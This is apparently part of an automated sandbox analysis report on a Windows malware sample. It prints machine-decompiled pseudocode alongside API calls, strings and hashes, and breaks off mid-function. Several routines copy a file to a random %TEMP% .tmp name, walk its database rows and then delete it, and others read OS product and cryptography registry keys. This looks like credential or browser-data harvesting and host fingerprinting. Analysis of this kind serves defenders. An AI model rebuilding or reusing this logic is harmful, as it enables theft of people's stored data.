CopyFileW.KERNEL32(00000000,00000000,000000FF,?,004115E4,?,.tmp,?,?,00000000,00411526,?,00000000,004115AB,?,00000000), ref: 00411391

Strings

%TEMP%, xrefs: 00411350
.tmp, xrefs: 00411330

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: CopyCountFileTick
String ID: %TEMP%$.tmp
API String ID: 3448371392-3650661790
Opcode ID: 8aa85c35eefaa564a3d5a188b1c969ae37f5f8f16f05faa93207de93c4b257fd
Instruction ID: 8afa6536208aa5b6f57682845dada9e2518f3e9b5e83f9eef4c4991f65faefc0
Opcode Fuzzy Hash: 8aa85c35eefaa564a3d5a188b1c969ae37f5f8f16f05faa93207de93c4b257fd
Instruction Fuzzy Hash: 7F414631900108AFDB01FF92D842ACDFBB9EF44309F50447BF504B36A2D63CAE058A14

Uniqueness

Uniqueness Score: -1.00%

Function 0041102C, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 103
fileCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E0041102C(intOrPtr* __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				signed int _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				signed int _t53;
				signed int _t54;
				WCHAR* _t74;
				void* _t85;
				intOrPtr* _t89;
				void* _t91;
				intOrPtr* _t93;
				intOrPtr* _t97;
				intOrPtr* _t121;
				intOrPtr* _t125;
				void* _t127;
				intOrPtr* _t129;
				void* _t131;
				intOrPtr* _t133;
				intOrPtr* _t139;
				void* _t141;
				void* _t147;
				intOrPtr _t167;
				intOrPtr _t169;
				intOrPtr _t176;
				intOrPtr _t180;
				intOrPtr _t181;
				void* _t182;
				void* _t183;

				_t178 = __esi;
				_t146 = __ebx;
				_t53 = __eax +  *__eax;
				 *_t53 =  *_t53 + _t53;
				_t54 = _t53 | 0x5500000a;
				_t180 = _t181;
				_t147 = 9;
				do {
					_push(0);
					_push(0);
					_t147 = _t147 - 1;
					_t187 = _t147;
				} while (_t147 != 0);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = _t54;
				E00404150( &_v8);
				_push(_t180);
				_push(0x411282);
				_push( *[fs:eax]);
				 *[fs:eax] = _t181;
				E00403BDC( &_v28);
				_push(_t180);
				_push(0x411212);
				_push( *[fs:eax]);
				 *[fs:eax] = _t181;
				E0040709C(GetTickCount(), __ebx,  &_v48, __esi, _t187);
				_push(_v48);
				E00406FDC( &_v52, __ebx, __edi, __esi, _t187);
				_push(_v52);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, _t146,  &_v40, _t187);
				E004062FC(L"%TEMP%",  &_v60, _t187);
				_push(_v60);
				_push(E004112B8);
				_push(_v32);
				E00403E78();
				E004078D8(_v56, _t146,  &_v44, _t187);
				_t74 = E00403D98(_v44);
				CopyFileW(E00403D98(_v40), _t74, 0xffffffff); // executed
				E0040377C( &_v64, _v44);
				E00404B58(_v64, _t146, _t147,  &_v36, _t178, _t187);
				E00403D88( &_v68, _v36);
				_t85 = E0040776C(_v68, _t146, _t147); // executed
				if(_t85 != 0) {
					_t89 =  *0x41b140; // 0x41ca20
					_t91 =  *((intOrPtr*)( *_t89))(E00403990(_v36),  &_v16); // executed
					_t182 = _t181 + 8;
					__eflags = _t91;
					if(_t91 == 0) {
						_t121 =  *0x41b330; // 0x41c930
						_t125 =  *0x41b2d4; // 0x41ca28
						_t127 =  *((intOrPtr*)( *_t125))(_v16, E00403990( *_t121), 0xffffffff,  &_v20,  &_v24); // executed
						_t183 = _t182 + 0x14;
						__eflags = _t127;
						if(_t127 == 0) {
							while(1) {
								_t129 =  *0x41b384; // 0x41ca2c
								_t131 =  *((intOrPtr*)( *_t129))(_v20);
								__eflags = _t131 - 0x64;
								if(_t131 != 0x64) {
									goto L11;
								}
								_t133 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v72,  *((intOrPtr*)( *_t133))(_v20, 0, _v28));
								_t139 =  *0x41b1dc; // 0x41ca30
								_t141 =  *((intOrPtr*)( *_t139))(_v20, 1, E004112C0, _v72);
								_t183 = _t183 + 0x10;
								E00403CF4( &_v76, _t141);
								_push(_v76);
								_push(E004112C8);
								E00403E78();
							}
						}
					}
					L11:
					_t93 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t93))(_v20);
					_t97 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t97))(_v16);
					_pop(_t167);
					 *[fs:eax] = _t167;
					E00403C18(_v12, _v28);
					DeleteFileW(E00403D98(_v44)); // executed
				} else {
					_pop(_t176);
					 *[fs:eax] = _t176;
				}
				_pop(_t169);
				 *[fs:eax] = _t169;
				_push(E00411289);
				E00403BF4( &_v76, 3);
				E004034E4( &_v64);
				E00403BF4( &_v60, 6);
				E004034E4( &_v36);
				E00403BF4( &_v32, 2);
				return E00403BDC( &_v8);
			}

0x0041102c
0x0041102c
0x0041102c
0x0041102e
0x00411030
0x00411035
0x00411037
0x0041103c
0x0041103c
0x0041103e
0x00411040
0x00411040
0x00411040
0x00411043
0x00411044
0x00411045
0x00411046
0x00411049
0x0041104f
0x00411056
0x00411057
0x0041105c
0x0041105f
0x00411065
0x0041106c
0x0041106d
0x00411072
0x00411075
0x00411080
0x00411085
0x0041108b
0x00411090
0x00411093
0x004110a0
0x004110ab
0x004110b8
0x004110bd
0x004110c0
0x004110c5
0x004110d0
0x004110db
0x004110e5
0x004110f4
0x004110ff
0x0041110a
0x00411115
0x0041111d
0x00411124
0x00411140
0x00411147
0x00411149
0x0041114c
0x0041114e
0x0041115e
0x0041116f
0x00411176
0x00411178
0x0041117b
0x0041117d
0x004111d9
0x004111dd
0x004111e4
0x004111e7
0x004111ea
0x00000000
0x00000000
0x0041118a
0x0041119b
0x004111ae
0x004111b5
0x004111b7
0x004111bf
0x004111c4
0x004111c7
0x004111d4
0x004111d4
0x004111d9
0x0041117d
0x004111ec
0x004111f0
0x004111f7
0x004111fe
0x00411205
0x0041120a
0x0041120d
0x00411222
0x00411230
0x00411126
0x00411128
0x0041112b
0x0041112b
0x00411237
0x0041123a
0x0041123d
0x0041124a
0x00411252
0x0041125f
0x00411267
0x00411274
0x00411281

APIs

GetTickCount.KERNEL32 ref: 00411078
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,004112B8,?,.tmp,?,?,00000000,00411212,?,00000000,00411282,?,00000000), ref: 004110F4

Strings

%TEMP%, xrefs: 004110B3
.tmp, xrefs: 00411093

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: CopyCountFileTick
String ID: %TEMP%$.tmp
API String ID: 3448371392-3650661790
Opcode ID: aee3fb3b6d416a755ef5fc8d5bf575ceddad05326cd7c514bde9757a960f5ad9
Instruction ID: 086439bef84ae03ebcf91c6f71c22103effc3d3d1ef1d95b9ffc13b6feb758dd
Opcode Fuzzy Hash: aee3fb3b6d416a755ef5fc8d5bf575ceddad05326cd7c514bde9757a960f5ad9
Instruction Fuzzy Hash: 53315531904108AFDB01FFA1D942ADDBBB9EF49304F50447BF504B36A2D738AE069A58

Uniqueness

Uniqueness Score: -1.00%

Function 00411030, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 101
fileCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E00411030(signed int __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				signed int _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				signed int _t53;
				WCHAR* _t73;
				void* _t84;
				intOrPtr* _t88;
				void* _t90;
				intOrPtr* _t92;
				intOrPtr* _t96;
				intOrPtr* _t120;
				intOrPtr* _t124;
				void* _t126;
				intOrPtr* _t128;
				void* _t130;
				intOrPtr* _t132;
				intOrPtr* _t138;
				void* _t140;
				void* _t146;
				intOrPtr _t166;
				intOrPtr _t168;
				intOrPtr _t175;
				intOrPtr _t179;
				intOrPtr _t180;
				void* _t181;
				void* _t182;

				_t177 = __esi;
				_t145 = __ebx;
				_t53 = __eax | 0x5500000a;
				_t179 = _t180;
				_t146 = 9;
				do {
					_push(0);
					_push(0);
					_t146 = _t146 - 1;
					_t185 = _t146;
				} while (_t146 != 0);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = _t53;
				E00404150( &_v8);
				_push(_t179);
				_push(0x411282);
				_push( *[fs:eax]);
				 *[fs:eax] = _t180;
				E00403BDC( &_v28);
				_push(_t179);
				_push(0x411212);
				_push( *[fs:eax]);
				 *[fs:eax] = _t180;
				E0040709C(GetTickCount(), __ebx,  &_v48, __esi, _t185);
				_push(_v48);
				E00406FDC( &_v52, __ebx, __edi, __esi, _t185);
				_push(_v52);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, _t145,  &_v40, _t185);
				E004062FC(L"%TEMP%",  &_v60, _t185);
				_push(_v60);
				_push(E004112B8);
				_push(_v32);
				E00403E78();
				E004078D8(_v56, _t145,  &_v44, _t185);
				_t73 = E00403D98(_v44);
				CopyFileW(E00403D98(_v40), _t73, 0xffffffff); // executed
				E0040377C( &_v64, _v44);
				E00404B58(_v64, _t145, _t146,  &_v36, _t177, _t185);
				E00403D88( &_v68, _v36);
				_t84 = E0040776C(_v68, _t145, _t146); // executed
				if(_t84 != 0) {
					_t88 =  *0x41b140; // 0x41ca20
					_t90 =  *((intOrPtr*)( *_t88))(E00403990(_v36),  &_v16); // executed
					_t181 = _t180 + 8;
					__eflags = _t90;
					if(_t90 == 0) {
						_t120 =  *0x41b330; // 0x41c930
						_t124 =  *0x41b2d4; // 0x41ca28
						_t126 =  *((intOrPtr*)( *_t124))(_v16, E00403990( *_t120), 0xffffffff,  &_v20,  &_v24); // executed
						_t182 = _t181 + 0x14;
						__eflags = _t126;
						if(_t126 == 0) {
							while(1) {
								_t128 =  *0x41b384; // 0x41ca2c
								_t130 =  *((intOrPtr*)( *_t128))(_v20);
								__eflags = _t130 - 0x64;
								if(_t130 != 0x64) {
									goto L10;
								}
								_t132 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v72,  *((intOrPtr*)( *_t132))(_v20, 0, _v28));
								_t138 =  *0x41b1dc; // 0x41ca30
								_t140 =  *((intOrPtr*)( *_t138))(_v20, 1, E004112C0, _v72);
								_t182 = _t182 + 0x10;
								E00403CF4( &_v76, _t140);
								_push(_v76);
								_push(E004112C8);
								E00403E78();
							}
						}
					}
					L10:
					_t92 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t92))(_v20);
					_t96 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t96))(_v16);
					_pop(_t166);
					 *[fs:eax] = _t166;
					E00403C18(_v12, _v28);
					DeleteFileW(E00403D98(_v44)); // executed
				} else {
					_pop(_t175);
					 *[fs:eax] = _t175;
				}
				_pop(_t168);
				 *[fs:eax] = _t168;
				_push(E00411289);
				E00403BF4( &_v76, 3);
				E004034E4( &_v64);
				E00403BF4( &_v60, 6);
				E004034E4( &_v36);
				E00403BF4( &_v32, 2);
				return E00403BDC( &_v8);
			}

0x00411030
0x00411030
0x00411030
0x00411035
0x00411037
0x0041103c
0x0041103c
0x0041103e
0x00411040
0x00411040
0x00411040
0x00411043
0x00411044
0x00411045
0x00411046
0x00411049
0x0041104f
0x00411056
0x00411057
0x0041105c
0x0041105f
0x00411065
0x0041106c
0x0041106d
0x00411072
0x00411075
0x00411080
0x00411085
0x0041108b
0x00411090
0x00411093
0x004110a0
0x004110ab
0x004110b8
0x004110bd
0x004110c0
0x004110c5
0x004110d0
0x004110db
0x004110e5
0x004110f4
0x004110ff
0x0041110a
0x00411115
0x0041111d
0x00411124
0x00411140
0x00411147
0x00411149
0x0041114c
0x0041114e
0x0041115e
0x0041116f
0x00411176
0x00411178
0x0041117b
0x0041117d
0x004111d9
0x004111dd
0x004111e4
0x004111e7
0x004111ea
0x00000000
0x00000000
0x0041118a
0x0041119b
0x004111ae
0x004111b5
0x004111b7
0x004111bf
0x004111c4
0x004111c7
0x004111d4
0x004111d4
0x004111d9
0x0041117d
0x004111ec
0x004111f0
0x004111f7
0x004111fe
0x00411205
0x0041120a
0x0041120d
0x00411222
0x00411230
0x00411126
0x00411128
0x0041112b
0x0041112b
0x00411237
0x0041123a
0x0041123d
0x0041124a
0x00411252
0x0041125f
0x00411267
0x00411274
0x00411281

APIs

GetTickCount.KERNEL32 ref: 00411078
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,004112B8,?,.tmp,?,?,00000000,00411212,?,00000000,00411282,?,00000000), ref: 004110F4

Strings

%TEMP%, xrefs: 004110B3
.tmp, xrefs: 00411093

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: CopyCountFileTick
String ID: %TEMP%$.tmp
API String ID: 3448371392-3650661790
Opcode ID: d50fba9657f62f9da5bb932124385406e54108a1d62bf545ab461c45f3e38808
Instruction ID: c9e68ca033382928e780bbb2ca05a045859d404701f4d2a11d4424a3b4ff7e89
Opcode Fuzzy Hash: d50fba9657f62f9da5bb932124385406e54108a1d62bf545ab461c45f3e38808
Instruction Fuzzy Hash: FA313531900109AEDB01FF91D942ADDBBB9EF48305F50457BF504B26A2D738AE059A58

Uniqueness

Uniqueness Score: -1.00%

Function 00406BD8, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 48
registryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00406BD8(void* __eax) {
				char _v516;
				int _v520;
				void* _v524;
				long _t13;
				long _t19;
				intOrPtr* _t21;
				void* _t26;

				_t26 = __eax;
				_v520 = 0x100;
				E00403C18(__eax, 0x406c70);
				_t13 = RegCreateKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", 0, 0, 0, 0x20019, 0,  &_v524, 0); // executed
				if(_t13 == 0) {
					_t19 = RegQueryValueExW(_v524, L"ProductName", 0, 0,  &_v516,  &_v520); // executed
					if(_t19 == 0) {
						E00403D6C(_t26, 0x100,  &_v516);
					}
					_t21 =  *0x41b1fc; // 0x41c714
					return  *((intOrPtr*)( *_t21))(_v524);
				}
				return _t13;
			}

0x00406bdf
0x00406be1
0x00406bf0
0x00406c1a
0x00406c1e
0x00406c3f
0x00406c43
0x00406c50
0x00406c50
0x00406c59
0x00000000
0x00406c60
0x00406c69

APIs

Part of subcall function 00403C18: SysReAllocStringLen.OLEAUT32(?,00406C70,00000002), ref: 00403C2E

RegCreateKeyExW.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000000,00000000,00020019,00000000,?,00000000,?,00406D40,00000000,00406E52), ref: 00406C1A
RegQueryValueExW.KERNEL32(?,ProductName,00000000,00000000,?,?,?,00406D40,00000000,00406E52,?,?,?,00000006,00000000,00000000), ref: 00406C3F

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 00406C09
ProductName, xrefs: 00406C2E

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocCreateQueryStringValue
String ID: ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 1441758775-1787575317
Opcode ID: 09c98a5aa4f7f8a43bb87bbdd4569b0506a6d9cca1e5576b00417c1847076580
Instruction ID: 11e12cba7479b8b01b9fafc70b7cecbc040d8651ce68523128cfa86d41fe4498
Opcode Fuzzy Hash: 09c98a5aa4f7f8a43bb87bbdd4569b0506a6d9cca1e5576b00417c1847076580
Instruction Fuzzy Hash: A4011E703843016BE310DA58CC81F4673E8EB48B04F104435B695EB2D0DAB4ED14975A

Uniqueness

Uniqueness Score: -1.00%

Function 00407228, Relevance: 6.1, APIs: 4, Instructions: 107
fileCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00407228(char __eax, void* __ebx, intOrPtr __edx) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				void* _v24;
				char _v28;
				long _t36;
				void* _t39;
				intOrPtr* _t42;
				intOrPtr* _t52;
				intOrPtr* _t57;
				long _t62;
				void* _t65;
				WCHAR* _t72;
				intOrPtr _t80;
				intOrPtr _t81;
				void* _t83;
				void* _t84;
				intOrPtr _t85;

				_t83 = _t84;
				_t85 = _t84 + 0xffffffe8;
				_v28 = 0;
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				_push(_t83);
				_push(0x407353);
				_push( *[fs:eax]);
				 *[fs:eax] = _t85;
				E004034E4(_v12);
				E004034E4( &_v28);
				_t72 = E00403D98(_v8);
				_t36 = GetFileAttributesW(_t72); // executed
				_t39 = CreateFileW(_t72, 0x80000000, 1, 0, 3, _t36, 0); // executed
				_v24 = _t39;
				if(_v24 != 0xffffffff) {
					L2:
					_t42 =  *0x41b264; // 0x41c68c
					_v16 =  *((intOrPtr*)( *_t42))(_v24,  &_v16);
					E00403B1C( &_v28, _v16);
					 *[fs:eax] = _t85;
					_t52 =  *0x41b470; // 0x41c694
					 *((intOrPtr*)( *_t52))(_v24, _v28, _v16,  &_v20, 0,  *[fs:eax], 0x407323, _t83);
					_pop(_t80);
					 *[fs:eax] = _t80;
					_t57 =  *0x41b1b4; // 0x41c690
					return  *((intOrPtr*)( *_t57))(_v24, E0040732A);
				} else {
					_t62 = GetFileAttributesW(_t72); // executed
					_t65 = CreateFileW(_t72, 0x80000000, 3, 0, 3, _t62, 0); // executed
					_v24 = _t65;
					if(_v24 == 0xffffffff) {
						_pop(_t81);
						 *[fs:eax] = _t81;
						_push(E0040735A);
						E004034E4( &_v28);
						return E00403BDC( &_v8);
					} else {
						goto L2;
					}
				}
			}

0x00407229
0x0040722b
0x00407231
0x00407234
0x00407237
0x0040723d
0x00407244
0x00407245
0x0040724a
0x0040724d
0x00407253
0x0040725b
0x0040726a
0x00407274
0x0040728a
0x0040728c
0x00407293
0x004072c0
0x004072c8
0x004072d1
0x004072da
0x004072ea
0x004072ff
0x00407306
0x0040730a
0x0040730d
0x00407319
0x00407322
0x00407295
0x0040729f
0x004072b5
0x004072b7
0x004072be
0x00407337
0x0040733a
0x0040733d
0x00407345
0x00407352
0x00000000
0x00000000
0x00000000
0x004072be

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

GetFileAttributesW.KERNEL32(00000000,00000000,00000000,00407353,?,?), ref: 00407274
CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,?,?), ref: 0040728A
GetFileAttributesW.KERNEL32(00000000,00000000,?,?), ref: 0040729F
CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,?,?), ref: 004072B5

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$AttributesCreate$AllocString
String ID:
API String ID: 2393235166-0
Opcode ID: dbd730114b7b287f5d9939bea496da7c3e2dfa45c43b748e6c3a6864faa7dc8e
Instruction ID: 32e1165c7f8380f20fab20a09558e200881d1a8c16cef83d47e4a6d60fcff036
Opcode Fuzzy Hash: dbd730114b7b287f5d9939bea496da7c3e2dfa45c43b748e6c3a6864faa7dc8e
Instruction Fuzzy Hash: F331F771A04208AFD711DFA9DD82FAEB7F8EB49710F504076F914E72A0D734AE04CA59

Uniqueness

Uniqueness Score: -1.00%

Function 00401870, Relevance: 6.0, APIs: 4, Instructions: 48
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00401870() {
				void* _t11;
				signed int _t13;
				intOrPtr _t19;
				void* _t20;
				intOrPtr _t23;

				_push(_t23);
				_push(E00401926);
				_push( *[fs:edx]);
				 *[fs:edx] = _t23;
				_push(0x41c5b4);
				L004011C4();
				if( *0x41c035 != 0) {
					_push(0x41c5b4);
					L004011CC();
				}
				E00401234(0x41c5d4);
				E00401234(0x41c5e4);
				E00401234(0x41c610);
				_t11 = LocalAlloc(0, 0xff8); // executed
				 *0x41c60c = _t11;
				if( *0x41c60c != 0) {
					_t13 = 3;
					do {
						_t20 =  *0x41c60c; // 0x6e5ad0
						 *((intOrPtr*)(_t20 + _t13 * 4 - 0xc)) = 0;
						_t13 = _t13 + 1;
					} while (_t13 != 0x401);
					 *((intOrPtr*)(0x41c5f8)) = 0x41c5f4;
					 *0x41c5f4 = 0x41c5f4;
					 *0x41c600 = 0x41c5f4;
					 *0x41c5ac = 1;
				}
				_pop(_t19);
				 *[fs:eax] = _t19;
				_push(E0040192D);
				if( *0x41c035 != 0) {
					_push(0x41c5b4);
					L004011D4();
					return 0;
				}
				return 0;
			}

0x00401875
0x00401876
0x0040187b
0x0040187e
0x00401881
0x00401886
0x00401892
0x00401894
0x00401899
0x00401899
0x004018a3
0x004018ad
0x004018b7
0x004018c3
0x004018c8
0x004018d4
0x004018d6
0x004018db
0x004018db
0x004018e3
0x004018e7
0x004018e8
0x004018f4
0x004018f7
0x004018f9
0x004018fe
0x004018fe
0x00401907
0x0040190a
0x0040190d
0x00401919
0x0040191b
0x00401920
0x00000000
0x00401920
0x00401925

APIs

RtlInitializeCriticalSection.NTDLL(0041C5B4), ref: 00401886
RtlEnterCriticalSection.NTDLL(0041C5B4), ref: 00401899
LocalAlloc.KERNEL32(00000000,00000FF8,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 004018C3
RtlLeaveCriticalSection.NTDLL(0041C5B4), ref: 00401920

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID:
API String ID: 730355536-0
Opcode ID: 633971003ad0d4a4880afa478519374b08f22f7ed171eb09962a201f88ec351c
Instruction ID: 5328ea8a61f1b3c3886908a4d7eb6976bfaff4b38786c7c23389d9dab3a387f7
Opcode Fuzzy Hash: 633971003ad0d4a4880afa478519374b08f22f7ed171eb09962a201f88ec351c
Instruction Fuzzy Hash: 06015BB0684390AEE719AB6A9C967957F92D749704F05C0BFE100BA6F1CB7D5480CB1E

Uniqueness

Uniqueness Score: -1.00%

Function 0040ED98, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 121
fileCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E0040ED98(signed int __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				signed int _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				void* _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				intOrPtr _v92;
				char _v96;
				char _v100;
				char _v104;
				intOrPtr _v117;
				char _v360;
				char _v364;
				char _v368;
				char _v372;
				char _v376;
				char _v380;
				char _v384;
				char _v388;
				signed int _t112;
				signed int _t113;
				intOrPtr* _t119;
				WCHAR* _t134;
				void* _t147;
				intOrPtr* _t151;
				void* _t153;
				intOrPtr* _t187;
				intOrPtr* _t191;
				void* _t193;
				intOrPtr* _t195;
				intOrPtr* _t199;
				intOrPtr* _t203;
				void* _t205;
				intOrPtr* _t211;
				intOrPtr* _t215;
				void* _t217;
				intOrPtr* _t220;
				void* _t222;
				void* _t226;
				void* _t228;
				void* _t230;
				intOrPtr* _t232;
				void* _t234;
				void* _t240;
				intOrPtr* _t242;
				intOrPtr* _t248;
				intOrPtr* _t258;
				intOrPtr* _t264;
				void* _t266;
				void* _t272;
				intOrPtr* _t301;
				intOrPtr* _t305;
				void* _t310;
				intOrPtr _t335;
				intOrPtr _t337;
				void* _t341;
				intOrPtr _t365;
				intOrPtr _t369;
				intOrPtr _t370;
				void* _t371;
				void* _t372;
				void* _t375;
				void* _t377;

				_t367 = __esi;
				_t366 = __edi;
				_t308 = __ebx;
				 *__eax =  *__eax | __eax;
				 *__eax =  *__eax + __eax;
				_t112 = __eax;
				 *_t112 =  *_t112 + _t112;
				_t113 = _t112 | 0x00000a00;
				 *_t113 =  *_t113 + _t113;
				_v117 = _v117 + __edx;
				_t369 = _t370;
				_t310 = 0x30;
				do {
					_push(0);
					_push(0);
					_t310 = _t310 - 1;
					_t381 = _t310;
				} while (_t310 != 0);
				_v12 = __edx;
				_v8 = _t113;
				E00404150( &_v8);
				 *[fs:eax] = _t370;
				E00403BDC( &_v32);
				 *[fs:edx] = _t370;
				_t119 =  *0x41b1c4; // 0x41c6c0
				E0040709C( *((intOrPtr*)( *_t119))( *[fs:edx], 0x40f1d7, _t369,  *[fs:eax], 0x40f276, _t369, __edi, __esi, __ebx), __ebx,  &_v84, __esi, _t381);
				_push(_v84);
				E00406FDC( &_v88, __ebx, __edi, __esi, _t381);
				_push(_v88);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, _t308,  &_v76, _t381);
				E004062FC(L"%TEMP%",  &_v96, _t381);
				_push(_v96);
				_push(0x40f2ac);
				_push(_v40);
				E00403E78();
				E004078D8(_v92, _t308,  &_v80, _t381);
				_t134 = E00403D98(_v80);
				CopyFileW(E00403D98(_v76), _t134, 0xffffffff); // executed
				E0040377C( &_v100, _v80);
				E00404B58(_v100, _t308, _t310,  &_v44, _t367, _t381);
				E00403D88( &_v104, _v44);
				_t147 = E0040776C(_v104, _t308, _t310); // executed
				if(_t147 != 0) {
					_t151 =  *0x41b140; // 0x41ca20
					_t153 =  *((intOrPtr*)( *_t151))(E00403990(_v44),  &_v16); // executed
					_t371 = _t370 + 8;
					__eflags = _t153;
					if(_t153 == 0) {
						_t187 =  *0x41b184; // 0x41c924
						_t191 =  *0x41b2d4; // 0x41ca28
						_t193 =  *((intOrPtr*)( *_t191))(_v16, E00403990( *_t187), 0xffffffff,  &_v20,  &_v24); // executed
						_t372 = _t371 + 0x14;
						__eflags = _t193;
						if(_t193 != 0) {
							_t301 =  *0x41b43c; // 0x41c928
							_t305 =  *0x41b2d4; // 0x41ca28
							_t193 =  *((intOrPtr*)( *_t305))(_v16, E00403990( *_t301), 0xffffffff,  &_v20,  &_v24);
							_t372 = _t372 + 0x14;
						}
						__eflags = _t193;
						if(_t193 == 0) {
							while(1) {
								_t203 =  *0x41b384; // 0x41ca2c
								_t205 =  *((intOrPtr*)( *_t203))(_v20);
								__eflags = _t205 - 0x64;
								if(_t205 != 0x64) {
									goto L24;
								}
								E004034E4( &_v28);
								E004034E4( &_v36);
								_t211 =  *0x41b414; // 0x41ca34
								_t215 =  *0x41b1dc; // 0x41ca30
								_t217 =  *((intOrPtr*)( *_t215))(_v20, 2,  *((intOrPtr*)( *_t211))(_v20, 2));
								_pop(_t341);
								E0040A610(_t217,  &_v28, _t341);
								_t220 =  *0x41b1dc; // 0x41ca30
								_t222 =  *((intOrPtr*)( *_t220))(_v20, 3);
								_t372 = _t372 + 0x18;
								E004036DC( &_v36, _t222);
								_t226 = E00403790(_v28);
								_t309 = _t226;
								_t228 = E00403790(_v36);
								__eflags = _t226 - _t228;
								if(_t226 > _t228) {
									E0040357C( &_v36, _v28);
								}
								_t230 = E00403790(_v36);
								__eflags = _t230;
								if(_t230 != 0) {
									_t232 =  *0x41b1dc; // 0x41ca30
									_t234 =  *((intOrPtr*)( *_t232))(_v20, 0);
									_t375 = _t372 + 8;
									E004036DC( &_v48, _t234);
									E0040357C( &_v52, 0x40f2b8);
									_t240 = E00403790(_v48);
									__eflags = _t240;
									if(_t240 > 0) {
										__eflags =  *_v48 - 0x2e;
										if( *_v48 == 0x2e) {
											E0040357C( &_v52, 0x40f2c8);
										}
									}
									_t242 =  *0x41b1dc; // 0x41ca30
									E004036DC( &_v56,  *((intOrPtr*)( *_t242))(_v20, 4));
									_t248 =  *0x41b1dc; // 0x41ca30
									 *((intOrPtr*)( *_t248))(_v20, 5);
									_t377 = _t375 + 0x10;
									E00402A5C();
									__eflags = 1;
									E00402870( &_v360, 1, 0x40f2d0);
									if(__eflags != 0) {
										E0040357C( &_v60, 0x40f2c8);
									} else {
										E0040357C( &_v60, 0x40f2b8);
									}
									_t258 =  *0x41b1dc; // 0x41ca30
									E004036DC( &_v64,  *((intOrPtr*)( *_t258))(_v20, 6));
